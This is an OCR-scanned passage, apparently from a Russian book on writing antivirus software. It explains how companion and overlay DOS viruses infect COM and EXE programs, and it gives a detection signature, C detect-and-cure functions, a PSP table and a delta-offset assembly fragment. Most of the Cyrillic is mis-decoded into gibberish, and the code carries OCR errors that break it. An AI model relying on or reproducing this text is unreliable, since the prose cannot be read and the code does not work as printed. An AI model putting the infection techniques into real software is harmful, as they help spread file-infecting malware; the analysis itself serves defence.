mupenue daiisa cBoell akTuBHOIM Koy Ha «. 333, a «npaBubHOE> MM
BPEMEHHO Bo3BpalllaeTcs KepTse.

MODE COM 2 000 09.09.01 13:32 MODE.COM <- 1-9 konusa Bupyca
MEM $$$ 2 000 09.09.01 13:32 MEM.$$$ <- 2-9 Komua Bupyca
VIRUS EXE 2 000 04.07.98 13:35 VIRUS.EXE <- BUpYC

MODE CcCC 29 911 05.05.99 22:22 MODE.CCC <- 1-9 xepTBa

MEM EXE 32 338 05.05.99 22:22 MEM.EXE <- 2-9 xepTBa
SPARTAK BAT 86  09.09.01 13:32 SPARTAK.BAT

6 ¢ainos 68 335 OanT

IMTar 5. TIporpamMMa-kepTBa 3amMyCKAeTCss M3 BUPYCA TIPU TTOMOTITH
dyuruun 4Bh npepoisanns 21h. Ona paGoraet, kak HU B ueM He ObIBa-
JI0, BBITIOJTHSIET TpeGyeMble MEHCTBUsI M He MOA03PEBAET, OEMHsITa, 4TO
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1IOCJIe ee 3aBepIIeHus ylpaBieHne BHOBb MOJYUYHUT 3JI0BPEIHbII BUPYC
Spartak I1.2000. Bupyc npousBogut obpaTHbIe IIepeMMEHOBAHMUsI, BO3-
Bpall[asi CUTYaIUIO K TOif, KAKOBasi BO3HUKJIA TI0CJIe 3-TO 1I1ara, 1 epexo-
T K 1-My 1mary. A UMeHHO: UIIeT HOBbIE [IEJIH [JIsI 3aPaKEHIIs, BBITTOJTHS -
eT ouepe/iHble IePeNMeHOBAHNUS 1 T. 1. [Ipr 9TOM OH HUKOT/IA He 3apaskaer
cam cebs, To ecTh IIporpaMmubie daiiibr anuHoi 2000 6aiiTos.

Octanoch yHOMSIHYTD ellle /B MaJ03HAYUTebHbIe OCOOEHHOCTH BU-
pyca Spartak_I1.2000. V3pe/ka oH orjiaiaer OKpeCTHOCTH KOMIIbIoTepa
PUTMUYHBIM TIOTIUCKMBAHUEM W OTOOPaKaeT Ha dKpaHe aMOjeMy Tomy-
JisipHOTrO crioprkayba (cm. puc. 3.1).

Puc. 3.1 < MposeneHne Bupyca
Spartak_11.2000

JIpyrast 0cOGEHHOCTD COCTOUT B TOM, UTO, 3apa3uB (hailiibl B KAKOM-JIi-
60 KaTajore, OH OCTaBJsIET «Jeuryky»: (aiin «SPARTAK.BAT», koro-
PbIil BBITIOJIHSIET 00paTHBbIE TIEpeMMEHOBaHNs U KonupoBanust. Cam Ha-
raanj, caM U MOATHUPAET, — BOT TAKHE «COBECTJMBBIC» BUPYCONMCATEIN
WHOT/IA TIOMA/IAl0TCL.

N3yuus asropurM pabotsl Bupyca Spartak I1.2000, HetpyaHO paspa-
6oTaTh AJITOPUTM €r0 YaJeHUs: HA0 YHUUTOKUTH Bee (Gailibl IIUHON
2000 Gaiiros, obmanatonue pacuuperusimMu «.COM» u «.EXE», ais xo-
TOPBIX UMEIOTCS «3KBUBAJIEHTBI» ¢ paciupernsiMu «.CCC» u «.EEE».
3ateM TOTpeOyeTcsl BEPHYTh BCEM MEPEMMEHOBAHHBIM MTPOTPaMMaM X
IpeKHUE MMeHa, OCBOOOANB MX TaKMM 00Pa3oOM M3 TSIKKOM BUPYCHOM
«kabasbl». B ympoiieHHOM Buje (He jiesiasi IPOBEPOK) TU OTIEPAINN BbI-
nostasier aitn «SPARTAK.BAT».

Copy *.CCC *.com
copy *.eee *.exe
del +.eee
del *.ccc
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BosHukaet, pasymeeTcst, BOIIPOC: TI0YeMy HaMu 000HieHa BHUMAHUEM
3ajiaua OOHAPYIKEHUsI U OJJHO3HAYHOTO paclio3HaBaHus Bupyca Spartak
I1.20007 /leso B TOM, 4TO 3TOT BUPYC NOJUMOPGMEH 1 He NMEET MOCTO-
STHHOM curHaTypsl. IIpobseMa pactiosHaBaHUsT TAKUX BUPYCOB OyeT pac-
CMOTpeHa TI033Ke.

PasymeeTcst, BUPYCHI-«CIIYTHUKI» 0OJIaal0T PsijioM GoJiee Ui MeHee
HEMPUATHBIX MOOOYHBIX CBOWCTB. BO-TIePBbIX, MPU KOMUPOBAHUY 3apa-
JKEHHOH ITPOrPaMMBI B IPYTO€ MECTO TAPAHTUPOBAH TOJILKO IEPEHOC BUPY-
ca, a Ha TIEPEMMEHOBAHHYIO «JKEPTBY» TI0JB30BaTEb MOJKET 1 HEe 0OPATHTh
BHUMaHUs. Bo-BTOPBIX, 3allyCK TakiM 0OPasoM 3apaskeHHOW IMTPOTpam-
MbI C HOCHUTEJIsI, 3alUINEeHHOr0 OT 3anucu, — Hanpumep, ¢ CD/DVD —
HEBO3MOJKEH. B-TpeTbux, CTAHOBSITCS HEPAGOTOCTIOCOOHBIMU HEKOTOPbIE
[IPOrPaMMBI, ST KOPPEKTHONW PabOThl KOTOPHIX BAsKHO <IIPABHJILHOE>
uMst. VIMEIoTCst M IpyTHE «<MET0YN», CIOCOOHBIE CHIIBHO MOTIOPTUTH KPOBb
110JIb30BATEJIO.

WNatepecHas Bapuaiius WUJeW POrPAMMbI-«IBOITHIUKa» OCHOBA-
Ha Ha OCOOEHHOCTH (DYHKIIMOHUPOBAHUS KOMAHHBIX ITPOIECCOPOB
COMMAND.COM u CMD.EXE: ecmn mmonb3oBaTesib 1IpU 3aIlycKe He
YKa3bIBaeT paCIIuPEHMs IIPOTPAMMBbI, TO KOMaH/IHBII IIPOIIeCCOp cHavyaIa
nbITaeTcs Haiitu u 3amyctuth ee COM-Bapuant. TakuM o6pasoM, eciu
B KaTaJjore JjiexatT JiBe IIPOrpaMMbl ¢ OZIMHAKOBBIMU MMEHAaMU, HO C Pas-
vbIM pacumpenuamu, HarpuMmep «PROGRAM.COM» n «PROGRAM.
EXE», 10 3amyckarbest Beera Oy/IeT Ta U3 HUX, KOTOPast IMeeT PacIiiu-
petinie «.COM>». Bot kak paboraer crapuntbii Bupyc HLLC.Aids.8064,
HCIIONB3YIOMUI 5Ty 0cOOeHHOCTD. [0 3apaskeHust:

MEM  EXE 32 338 05.05.99 22:22 MEM.EXE  <- XepTsa

VIRUS EXE 8 064 25.06.99 14:20 virus.exe <- Bupyc
2 ¢annos 40 402 6anT

ITocne 3apaskenus:

MEM  EXE 32 338 05.05.99 22:22 MEM.EXE <- XepTBa

VIRUS EXE 8 064 25.06.99 14:20 virus.exe <- Bupyc

MEM  COM 8 064 25.06.99 14:20 MEM.COM <- Konusa Bupyca
3 ¢annos 48 466 OanT

Wrak, Bupycy me TpeGyeTcst He TONMbKO MOAUMUIMPOBATH KAKUM-JTH-
60 06pa3oM CBOIO «JKEPTBY», HO [aXke ¥ TepeNMeHOBLIBATh ee! Bripouewm,
TepenMeHOBaHITE MOJKET OKA3aThCsT HEOOXOMNMBIM, €CJTH TIPOTPaMMa Yike
nmeet pacuruperne «.COM». B atoM cirydae «KepTBes» 1es1ecoo0pasHo
npucBonth pacmupenue «.EXEs», Torma BUpyc MOJydnuT BO3MOMKHOCTD
3aXBaTUTh OoJiee «IIPUBUIIETUPOBAHHOE» MMs ¢ pactuperneM «.COM».
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Cobcersento rosops, supyc HLLC.Aids.8064 10BojibHO IPUMUTHBEH U
caM TaK HUKOT/[a He TIOCTYITAeT, 3aT0 MOA00HOE yMEHHE IPUCY e MHOKECT-
BY JIDYTHUX, UYTh-4yTb O0OJI€E «ITPOBUHYTHIX> BUPYCOB-<«CIIYTHUKOB>.

3.2. «OBepAelHble» BUPYChbI

Bnepeou muanacw 2ocnoxca Mosec ¢ zuzanmckum
uePHbIM CYHOYKOM MO0 MbUUKOL, 4 1A NICUAX ee
2py3no soccedan cam cmapwviii Mosec.

A.n B. Crpyrarixue.
«Oresp “Y noruburero anpnunucra’»

Boobiite, 11011 08epaesmu, Wn 0gepielinbimu ceemenmamil, B8 uHGopMaTu-
Ke OOBIYHO TIOHUMAIOT «HECAMOCTOATEbHBIE> (PPArMEHTHI TTPOTPAMMHO-
TO KOJIa, KOTOPbIe U3HAYAIBHO HE TIPUCYTCTBYIOT B ONEPATHBHON ITaMsITH
U XpaHATCS TZle-TO Ha BHeNTHeM Hocurene. «[maBHas» mporpamma (Ko-
TOPYIO YaCTO HA3BIBAIOT KOPHEBHLIM C€ZMEHMOM) TIOOUYEPEHO 3arpysKaer
WX JIJIST UCTIOJTHEHUS B OJIMH W TOT K€ PAallOH OMEPATUBHON MAMSITH Tak,
YTO OHU TIePEKPBIBAIOT APYT Apyra. OTcio/ia U TPOU30Iiiea TepMUH (aHTJL.
overlay — niepekpoitie). Eciiu oBepJieiiHble CErMEHTBI TIPEACTABISIOT CO-
6oii oTaenbHbIe (Gailibl, TO TOBOPST O GHewHUX osepiesx. Eciu onn co-
CTaBJISTIOT OZIHO I1esioe ¢ ailloM KOPHEBOTO CETMEHTA, TO CYUTAETCS, UTO
3TO BHYmMpenHue osepel.

PaccMoTpenHble B MpenbIaynieM pasjiesie BUPYCHI-CITyTHUKH TOXKE
B KaKOM-TO CMBICJIC PeayIu3yIOT Wel0 BHENTHUX oBepseeB. CylecTBy-
10T TaK)kKe BUPYCHI, KOTOPbIE TIOCJIE 3aPAKEHUST MPUKDPEIIIIOT (Paiiibl
«KepTB» K cBoeMy daiiny. ByeM Ha3bIBaTh UX «08epaelinbIMUy> BUPYCAMU.

PaccmoTpuM mosipobHee TPUHITUT UX JHCTBUS Ha TIPHMepe BUpyca
HLLP.Light.4859.

ITar 1. Bupyc coepskuT BHyTPH cebst 3apasKEHHYIO TIPOrPaMMy B Ka-
YyecTBe «BHYTpeHHEro» oBepJsed. Cpasgy 1mocJe 3aIycKa moxyJyaeT yipas-
JieHle «KOPHEBOW CerMeHT», TO eCTh BUPYC. Bupyc «3maer», Haumnas
C KaKoil TI03UIINU B €ro (haiijie pacnosaraeTcsi OpUTHHAIbHAS TIPOrPaM-
Ma, co3zaaet Ha aucke daiin ¢ umeremM LIGHT.COM, nsBiekaeT n3 cBOUX
<HEJIP» ¥ Pa3MeliaeT B HeM OPUTHHAIBHYTO TIPOTPAMMY U 3aITyCKaeT ee Ha
HCTIOJTHEHHTE.

MORE COM 10 503 05.05.99 22:22 MORE.COM <- 3pgopoBasi nporpamma
LIGHT COM 10 503 05.05.99 22:22 LIGHT.COM <- OuiBwMit oBepnei
VIRUS COM 15 099 05.07.97 19:05 virus.com <- BMPYC C OBEp/iEeEM

3 ¢altnos 36 105 GainT
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[ITar 2. BHoBb nosyuus yipasienue, Bupyc crupaet ¢daiin LIGHT.
COM.
[ITar 3. Bupyc uiier B TekylieM Katajore 1eJu jijis 3apaxenus. B na-

IIeM cJlydae «HalaJIeHUIo»> JTOJIKHA MTO/IBEPTHYTHCS CUCTEMHAs YTUIINTA
MORE.COM.

MORE COM 10 503 05.05.99 22:22 MORE.COM <- 3popoBas nporpamma
VIRUS  COM 15 099 05.07.97 19:05 virus.com <- BMPYC C OBepneem
2 ¢annos 25 602 6GanT

[Tar 4. Bupyc 3ammcbiBaeTcss Ha MECTO ITPOTPAMMBI-<KePTBbI», a T0-
ToM (IIpeBAPUTENHHO COXPAHUB B MAMSITH) TIPUCOEAUHSIET OAlThI ee
IIPEKHETO COEPKUMOro K 3ToMy ke daiiry. B pesymsrare momrydaercs
haitn «cymMMapHOIi» JUIMHBI, KOPHEBOW CETMEHT KOTOPOTO MPECTABISET
co6oil Kol BUPYCa, a MACCUBHBIN BHYTPEHHUN OBEPJIel — KOJ[ IIPOTPAMMBbI
(cMm. puc. 3.2).

[o 3apaxeHus MNocne 2apaxeHus
dann supyca | |®ainn 3goposoi Bupyc
nporpammbi
Mporpamma,
npunucaHHas
K KOHLY BMpyca

Puc. 3.2 < MNpuHunn 3apaxeHus,
MCMNONb3YEMbIN «OBEPIENHBIMU» BUPYyCaMUn

Wrak, nocie 3apaskenus daitt MORE.COM <«monpasisiercsi» Ha 4859
GaiiToB.

MORE COM 15 362 17.09.01 21:40 MORE.COM
VIRUS  COM 15 099 05.07.97 19:05 virus.com
2 dainos 30 461 6ant

Pasymeetcst, KoppekTHast paboTa 3aIlyCKaeMOH TaKiUM 00pa3soM «JKepT-
BbI» BO3MOJKHA JIAJIEKO HE BCET[[A — HEKOTOPbIE MPOTPAMMBI «O0OUKAIOT-
CsI», KOT/Ia MX HAa3bIBAIOT Uy»KUM UMeHeM. Ho «Herop/ibix» porpamMm Toxxe
HMOBOJIBHO MHOTO. OHU HOPMAJILHO 3aIyCTSITCST, BBIIOJIHST CBOIO PaboTy U
3aBeplIarcs, BEpHYyB yIIpaBJjieHre KOy BUpyca.

BoJiee «poaBUHYTHIIT» BUPYC MOJIKEH ObLI ObI IEPEUMEHOBATHCST BO
4TO-HUOY/Ib UHOE, PA3MECTUTD <JKEPTBY» MO/ €€ MOJITHHBIM HMEHEM, 3a-
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[YCTHUTD €€, a TI0CJIe TIOyYeHUsT YIIPABIEHUS! BHIIIOJHUTD 0OPATHYIO O1ie-
panuio (IIpUMEPHO Tak, Kak a1o geian Bupyc Spartak I1.2000). Takue
BUPYCHI ICHCTBUTEJLHO CYIIECTBYIOT, U X HEMAJIO.

O06b1uHO BUpycosiory npucBanBaioT npepuke «HLLy> wumeHam Bupy-
COB, HATIMCAHHBIX HA A3bIKaX BbICOKOTO ypoBHs — [lackase, Cu, Baiicuke,
Kmumnepe, @opre, Moay.ie-2, Delphi u npounx. Yersepras 6yksa mpe-
(ukca cnerudunupyet Tui BUpyca:

O HLLC — Bupycbi-ciiyTHUKH (companion);

O HLLP — «oBepJieiinbie» BUPYyChI-11apa3uTh (parasitic);

O HLLO — nepesanuceiBaioniie Bupycol (overwriting).

[ns co3pmanusi BUPYCOB-CIIyTHUKOB U <OBEPJIEHHBIX» BUPYCOB Tpe-
OyI0TCS MUHUMAJIbHBIE 3HAHUS W YMEHUS B 00JACTH TPOTPaMMHUPOBa-
Hua (maxe sHaHue sa3bika AcceMOiepa COBEPIIEHHO HeoOsS3aTeNbHO) U
coBceM HeMHOTO BpeMenu. Hampumep, ucxoauniii Tekct Bupyca HLLP.
Light.4859, ony6 mmkoBantbiii B 12-M BbIIyCKe 9JIEKTPOHHOTO JKypHaJa
Infected Voice, cocrout Bcero us 65 crpok Ha s3pike ITackaib, 10 us xoro-
PBIX [IpeIHa3HAYEHBI JIJIsE OTOOPAKEHUS BCAYECKUX Ly PAIIKUX COOOMIEHUT
tuna « Myskukn 6pocaii paboTaTh — MONULIN TMBACUKA MTUTh!» (aBTOPCKIE
opdorpacdusi u nynkryaius coxpanenbl). Hepenko HLL-Bupycsr co-
NEpAKaT BHYTPU cebs1 00BEMHYIO «IIEPEIUCKY> C BUPYCOJOTAMH, OOBIYHO
6e3 MaseluX MPU3HAKOB MPAMOTHOCTH, 3aTO C OOUJIMEM HEHOPMATHB-
HOU JIeKCUKH (ITPUMEPOM MOTYT CJIYKUTb «ileHKn»> u3 cemeiicta HLLP.
Doggy). Eite MenbIlie MbICJIUTETBHBIX PECYPCOB 3aTPAYMBAECTCS HA CO3-
JlaHUE NePe3anuculéarujux 6UpPYcos, KOTOPble HE YTPYKIAOT ce0s «u3-
JIIIECTBAMU», & POCTO YOUBAIOT «KEPTBY», 3alUCHIBAsACH MOBEPX Hee.
Hanucanue HLL-BupycoB Takoro pojpa — IPUBWJIETUS BOMHCTBYIOIIUX
Gesnapeit.

Tem e Menee o6Hapy»xenue u usjederre HLL-Bupycos mogyac npen-
CTaBJISIIOT [IJIsI BUPYycoJiora Hejierkyto 3ajady. OObIYHO 3TO CirydaeTcs,
KOTJIa BUPYC COAEPIKUT KaKyO-HUOY/Ib HEOUEBHMIHYIO W3IOMUHKY, Ha-
[pUMep MPUIICHIBAET K ceOe «KEPTBY», MPEIBAPUTENBHO 3aiindpoBaB
ee. [ToyI0KMHBI CTPOK HA A3bIKE BBICOKOTO YPOBHS HEPEJKO «Pa3BOpa-
YMBAIOTCS» B KUI0OaiThl Koga (a 1 Windows-BUPYCOB — B JECATKH U
COTHU KUJI0OaNTOB!), 4epe3 KOTOpbie MPUXOAUTCS J0JTO U MyYUTEIbHO
npobuparbest BupycoJiory. Ho, 1o 60/bIIOMY CYETy, B 9TOM «BUHOBATbHI»
ABTOPBI KOMITUJIATOPA, UCIIOJIb30BAHHOTO [Tl HAITMCAHUS BUPYCA, & CO-
BCEM HE BUPYCOINCATEIIH.

Jlsist pa3pabOTKK HAIIIETO AHTUBUPYCA M3Y4aTh MAITUHHbIE KOJIBI HE 110~
Hagoburcs — anroput™ pabortsr Bupyca HLLP.Light.4859 npoct, mpospa-
YeH U JIETKO TI03HAETCS B Pe3yJIbTaTe HeCJ0KHbIX 9KCIIePUMEHTOB.
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Paspatoraem e dynkiuu: int infected(char *) u int cure (char *).
[lepBast u3 HUX MpeaHA3HAYEHA [IJI IPOBEPKU IIPOTPAMMBI, IMsI KOTOPOI
repeiaeTcs eil B TEKCTOBOM MacCCHBe, Ha 3apaskeHHOCTb. DyHKIUST 10J1K-
Ha BO3BpallaTh HEHYJIEBOI Koz, eciu (ail 3apaxken. Bropas Oyzaer Bbl-
[IOJIHSATD y/laJieHne BUPYCHOTO KO/Ia U3 3aPasKEHHOI TPOTPAMMBI.

Opnosnauno pacnosaars Bupyc HLLP.Light.4859 nam niomozker pac-
CMOTpPEHHBIII paHee mpuHIMI OaiiToBbIX curHatyp. Jduas HLL-Bupycos
HEOOXOIMMO BBIOUPATH JVIMHHDBIE CUTHATYPBI, PACIIOJIATAIOIINECS TAE-TO
B cepenuHe Bupyca. /leso B TOM, YTO KOMIHUJISATOPBI C SI3IKOB BBICOKO-
IO YPOBHsI CKJIOHHbBI T€HEPUPOBATh OYEHDb [TOXOKIE U [aKe UIEHTUIHbIE
(dbparMeHTbl KOzia it aOCOJIIOTHO Pa3HBIX IIPOTPAMM, a 3HAYUTETHHYIO
YacThb MPOrPAMMHOIO MOJYJISI BCer/la 3aHuMaeT cTannaptubii ko RTL
(anrs. Runtime Library — O6ubivorexka Bpemenn ucnosrenus). Cootr-
BETCTBEHHO, BEPOSITHOCTD JIOKHOTO CPadaThIBAHUSI [IPU MCIIOJIb30BAHUN
KOPOTKUX CHUTHATYp BecbMa BbiCOKa. [lJist Harmero y4eGHOTO IpUMepa
BIIOJIHE JIOCTAaTOYHOI Oymer curHartypa maunHoil 16 Gaiitos. IlycTh ona
pacrioyiaraercst B Bupyce, Haurtas ¢ nosunuu 1000h=4096, rorza ee o6pa-
3yI0T caexylonue snadenns: «88h 42h 0EOh 46h 0OEBh 27h 00h 0Edh 3Fh
8Bh 0CEh 0E3h 12h 8Dh 7Eh OEOh». Byjem cunraTh, 4TO €cim B IpoO-
BepsieMoM (aiisie 1o azpecy 4096 pacrosaraiorcst UMEHHO 9T OaiiThI, TO
nporpamma 3apakeHa Bupycom HLLP.Light.4859. ®ynkuus infected()
MOJKET BBITJISIIETD IIPUMEPHO TaK:

unsigned char sign[16] = {0x88, 0x42, OxEO, 0x46, OxEB, 0x27,
0x00, OxED, O0x3F, 0x8B, OxCE, OxE3, 0x12, 0x8D, Ox7E, OxE0 };

int infected(char »s) {

unsigned char buf [16]; int f;
f = open(s, 0_BINARY|O_RDONLY);
Iseek(f, 0x1000, SEEK_SET);
read(f, buf, 16);

close(f);

return (!strncmp(buf, sign, 16));

Bupyc u3 mporpammbl yzaassieTcs ToKe 04eHb mpocTo: 1) u3 3apasken-
Horo (aiiya canTbiBaeTcst parMeHT, HaunHatoIuiics ¢ Gaiita 4859 u mpo-
CTUPAIOIIUIICS BILIOTH JI0 KOHIIA (haiisia; 2) 9TOT (hparMenT 3aruchbiBaeTcst
B Hauasio (aiisia; 3) ec/iu OpUrHHAIbHAS TPOTrPaMMa ObLIIa KOpoUe BUPYCa,
TO B KOHILe (haiiia 006pasyercst «JIMIIHUI XBOCT», €10 PEKOMEHIYETCST OT-
ceub. BoT mpumepHbIii BapuanT yHKimn cure():

cure(char »s) {
int f, n; unsigned char buf[512]; unsigned long rp, wp;
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f = open(s, O_BINARY|O_RDWR);
rp=4859; wp=0; n=512;
while(n)
1seek(f, rp, SEEK_SET);
n = read(f, buf, 512);
1seek(f, wp, SEEK_SET);
write(f, buf, n);
rp+=n; wp+=n;
}
close(f);
}

3.3. Bupychl, 3apa)kalowmne
COM-nporpammeil

...Om cobpan 6vL smy wmyxy 6 dea cuema, e pac-
Kpvleas 21as.

A.u B. Crpyraikue. «O6uTaempiii oCTpOB»

COM-nporpaMMbl MIPEJACTABIAAIOT cO00I HECTPYKTYPUPOBAHHBIN BGI0K
KOJa ¥ JAHHBIX, He IIPEBBIMIAIONINIL 110 pasMepy 64 K6 n HaumHaiommii-
¢ ¢ UCHOJHAEMON KoMaHbl. IIporpammbl Takoro Buja — HacJjeue,
ocraBiiieecss oT ornepaiuonHoit cucrembl CP/M, mpeiiecTBeHHUIIbI
MS-DOS u Windows. Ho 0 cux 1op orepanuoHHbie cUcTeMbl (Ha-
npumep, Windows 2000/XP) mo3BoJSIOT 3allycKaTh TaKUe TPOTPAMMBbL.
A B Windows 95/98/ME moJyioBUHA CTaHAAPTHBIX CHCTEMHBIX YTUJIUT,
xpasstiuxcst B ojkataiore <% Windir%\COMMAND», tpocTo siBiisi-
iorcst COM-niporpaMmmamu.

Cuenyer oramyarb COM-niporpammbl o1 COM-daiinos, To ecTb OT
aitnos ¢ pacnmmpenuem «.COM». [lesio B TOM, UTO BHyTPEHHee COep-
JKUMOE ITPOrpaMMbl MOKET He COOTBETCTBOBATD pacipenuio. Hampumep,
koManiHbIH Tporteccop « COMMAND.COM» 8 MS-DOS Bepcutii 10 6.22
BryounTesibHo umes COM-dopmar, a HaumHas ¢ Bepcuu 7.X ero daiia
C TeM JKe UMeHeM coliepkuT yike 95-kunobaiirosyio EXE-mporpammy.

3.3.1. BHeppeHue B ¢ain «KepTBbI»

Cucremubrii 3arpy3uuk Boizessier COM-miporpaMmme MaKCUMaJIbHBIH CBO-
Go/HbIiT (hparMeHT 0CHOBHOU (conventional) mamsitu, B iepBbix 256 Oaii-
Tax KOTOpoi cTpouTt rpedukc nporpaMmmuoro cermenta PSP (aTo Bepro n
it COM-, u gt EXE-niporpamm), 3arem, Haunnas co cmemienns 100h,
pasMeIiaeT cojep;KIMoe TPOrpaMMHOTO (halijia B HEM3BMEHHOM BU/I€e, Ha-
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CTPaMBaeT PETHCTPBI U, HAKOHEI, Tiepe/laeT yIpaBjeHrue Ha MepByIo uc-
noJiHsieMy1o Komauy. Bot crpykrypa PSP:

Int20 dw ? . +00H - 6anTe CD 20h - kop komangs INT 20H

TopMem dw ? ; +02H - pasmep B 16-6ailTHMKAX BHAENEHHOW NamaTu
db ? ; +04H - 7797

Calld db ? . +05H - Hauvano komargw CALL cmewerue:cermeHt CP/M

SegSiz dw ? ; +06H - pa3mep NporpaMMHOro cermeHTa

Call2 dw ? . +08H - konel komaHab CALL cmeueHwe:cermeHT CP/M

alnt22 dd ? . +0aH - Mpeppioyunii appec obpabotymka INT 22H

alnt23 dd ? . +0eH - Mpeppinyunii appec obpabotymka INT 23H

alnt24 dd ? . +12H - NMpeppinyunii appec obpabotymka INT 24H

ParPSP dw ? ; +16H - CermeHT PSP nporpammbi-poanTens

Htab db 20 dup (?) ; +18H - Tabnuua onucaTenei OTKPLTHX ¢ainos

EnvSeg dw ? . +2cH - CermeHT 6noka okpyxeHus (cpenbl)
SSSP dd ? ; +2eH - HadanbHoe copepxumoe SS:SP
Nhan dw ? ; +32H - cyeTuyMK 3anonHeHHslx nonei B Tabnuue onucaTenen
AHTab dd ? . +34H - appec Tekyuein Tabnuup onucaTenen
PrPSP dd ? ; +38H - ykasaTenb Ha npeabayunini PSP
db 4 dup (?) ; +3CH - 2?7
Vers dw ? ; +40H - Bepcua MS-DOS (HaumHas ¢ 5.0)

db 14 dup (?) ; +42H - 777
Call3 db 3 dup (?) ; +50H - komp komaHn INT 21h u RETF
db 9 dup (?) ; +53H - 777
FCB1 db 16 dup (?) ; +5cH - FCB1
FCB2 db 16 dup (?) ; +6CH - FCB2
db 4 dup (?) ; +7CH - 7?7
DTA db 128 dup (?) ; +80H - DTA no ymonyaHwio 1 KomaHaHas ctpoka (0-i GarT - anuHa)

Takum o6pasom, BUpYyCy, Bozxenasiiemy 3apasutb COM-nporpammy,
JOCTATOYHO:

O kakuM-1160 06pPa3OM IIPUKPENUTHC K ee dailry;

QO 3aMeHHTD TIePBYIO KOMAH/y ITPOrPaMMbI Ha CBOTO.

BbIIOTHEHO 5TO MOKET OBITH OTPOMHBIM KOJIUYECTBOM C1I0c000B. Pac-
CMOTPHM HECKOJIBKO HAnOO0JIee 4acTO BCTPEYAROIIIUXCSI.

Croco6 1 («crangapTHbiii» ). Bupyc npunuchiBaeTcst K KOHILY (aiiia
COM-nporpaMMbl, a B Ha4aJ0 €ro BIKUChIBAET acceMOIEPHYIO KOMAH/ILY
(kax mpaBuJio, 310 <] MP» nim «CALL») nepexosia Ha cBoe Tesio. Pazyme-
eTcs, IpekHee Hauaso IPOrpaMMbl, 3aMeHeHHOe KOMaH/[0ii TIepexo/1a, Co-
XpaHgercd rje-To BHyTpu Bupyca. [Ipumep — Bupyc Vienna.648.

[IpunuceiBanme BUPYCHOTO KOZA K KOHITY MPOTPAMMBbI TPUBOIUAT K
HEBO3MOKHOCTH MCIOJIb30BAHMS B HEM TIPSAMOI ajipecaninu K syeitkam
namaTu (Harpumep, «MOV METKA,0»). lesio B TOM, 4TO BCe TIPSIMbie
CCBIJIKU «ILJTBIBYT» Ha BEJIMUMHY, PAaBHYIO JJIMHE 3apa’kaeMoil Iporpam-
Mbl. Bupycomnucaressam TPUXOAUTCS YCTIOXKHIATH CBOH aJITOPUTM, HC-
10JIb3Ysl KOCBEHHYIO ajipecainio co cmelenueM (narnpumep, «MOV
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METKA[SI],0»), npu4yemM B MHIEKCHOM perucrpe (3To MOTYT OBITh pe-
ructpsl ST, DI, BX wim BP) noskHO comep:kaThest «<KOPPEKTUPYIOTIee»
urcsi0. ByKBaJbHO HECKOJIBKO JIET Hasajl, Ha pybeske BEKOB, B PYCCKO-
SI3BIYHYTO JINTEPATYPY MPUIIIET «U3-3a OyTrpay CreHaabHbIi TEPMUH JJIsT
ATOTO YuCya — <«dervma-cmewerues. T1oxanyil, ero Helb3sl TPU3HATD
CJIMIIKOM YAQ4HBIM, HO «Ha 6€3pbI0be» OH OBICTPO CTa OOIEIIPIHITHIM.
Jlist TIoMTydeHUsT «JIeJIbTa-CMEIeHUsT> 0OBIYHO UCIIOJB3YETCsT IPUMEPHO
BOT TaKoi hparMenT:

Start:
call Next
Next:
pop si
sub si, 100h+(offset Next-offset Start) ; [lna COM-Bupycos aTo 103h

Ouenb YaCTO OH PACIOJIATAETCS B CAMOM HavaJsie BUPYCcHOro Kozia. Ha-
JIMYHE TAKOTO WJIU OA0OHOTO eMy (hparMeHTa — BasKHBIN MPU3HAK 3apa-
JKEHHOCTH MTPOTPAMMObI!

Etrte oiHa 0cOGEHHOCTD, KOTOPYIO HEOOXOAUMO UMETH B BU/LY MTPH aHA-
JIN3e «CTAHAAPTHO» 3aPAKAIOIINX BUPYCOB, CBsI3aHa ¢ TeM (haKTOM, 4TO
MHOTHE co3naBaeMbie B nocruentee Bpemsi COM-miporpaMmbl coepsKaT
BHYTPU HeKOe 1o00ue BHYTPEHHEN CTPYKTYPbhL. B 4acTHOCTH, CUCTEM-
npie yruutbl MS Windows 95/98 /ME pasjie/ienbl Ha HECKOJIbKO CeKIIM,
OJIHY U3 KOTOPBIX 3aHUMAET UCIIOJTHUMbIE KOJI, IPYTYIO — 00JIaCTh IAHHBIX,
TPETHIO — O6JIaCTb MHUIWAJIN3UPOBAHHDIX /TAHHBIX 1 TEKCTOBBIX CTPOK U T.
1. Baaropapst sTomy mipu tokasuzariu Windows He TpedyeTcst ieperichi-
BaTb I/ICXOIIHbIﬁ TEKCT 1 3aHOBO KOMIIMJIMPOBATH YTUJIUTBI — IOCTATOYHO
3aMEHUTH B HUX CEKIUIO C, HAIIPUMEDP, aHTJTOASbIYHbBIMN COO6H.I€HI/IHMI/I,
Ha CEKIUIO ¢ PyccKuMU. Bee cekinn 0ObeIMHEHbI B KOJIBIEBOI CITUCOK,
METKOI 3ar0JIOBKa CEKIUU sIBJisieTcs curnarypa «**NSs», B KoTopoii 1ep-
BBIMHU JIBYMsI CUMBOJIaMu 3aKoupoBat si3bik: « ENUNS» — anrsmiickuii,
«FRANS» — dpannysckuii, «DEUNS»> — nemenxuii, «<RUSNS» — pyc-
ckuit u 1. 1. [locmennnii 3aroloBoK (TOUHEe, MEPBLIN, TaK KaK UMEHHO C
HEro caMa MporpaMMa HauMHaeT 00XOJ CIIMCKA) Pa3MEIaeTcst B KOHIle
nocJieineli cekiuu, To ectb B Kouie COM-daiisa. BoabmuHCcTBO BUPY-
COB, TIPUITUCHIBAIOIINXCS K TAKOW TPOrpaMme, «COMBAIOT» HACTPOIKY, U
VTUJIUTA TIEPECTAET KOPPEKTHO paboraTh. Ha MOMEHT HAIMCAHUS 9THX
CTPOK CYTIECTBYIOT TI0 KpaiiHeil Mepe aBa Bupyca — F00.956 1 TD.1536, —
KOTOPBIE YUUTHIBAIOT 9TO OOCTOSATENBCTBO M 3aPAKAIOT CTPYKTYPUPOBAH-
ubie COM-TiporpaMMbl «ITPaBUJIBHO»: TIEPEHOCAT B KOHeIT (pailia MeTKy
«**NS» BMecTe co CChLIKOU Ha CJIEYIONIYIO CEKITUIO U KOPPEKTUPYIOT ATY
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ccblIKy (CJIeyoIIne 32 CUTHATYPO#T /iBa GaiiTa), yBeJUUNBAsl €€ Ha U~
ny Bupyca. Kcraru, jieunTh 3apaskeHHble TAKUMU BUPYCAMU TIPOrPAMMbI
HAJI0 TOKE «IIPAaBUJIHHO> |

Crioco6 2 («oBepuieiinbiii» ). IIpakTH4ecKr aHAJIOTHYEH TOMY, KOTOPbIN
